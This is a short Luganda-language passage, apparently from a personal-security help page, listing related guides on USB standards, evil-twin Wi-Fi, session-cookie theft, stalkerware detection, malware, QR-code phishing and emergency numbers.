• Olukungaana lw'abassa mu nkola USB (USB-IF): Okukakasa USB Type-C, Okutuusa Amaanyi (USB PD), n’Ekyuma Ekikwatagana n’Omuntu (HID Class 0x03) Ebikwata ku nsonga eno.

Ebiragiro ebikwatagana nabyo¶

• Wi-Fi ey’olukale, ebifo ebisanyukirwamu ebya Evil Twin, n’okuziyiza okukuba omubisi
• Okuwamba kuki z'olutuula, infostealer malware, n'okusazaamu obubonero
• Stalkerware, spyware, ne keylogger okuzuula ku masimu
• Obulwadde bwa malware, ransomware, ne spyware
• QR code phishing (quishing) n'okukyusakyusa mu ngeri embi
• Ennamba z’amangu okusinziira ku nsi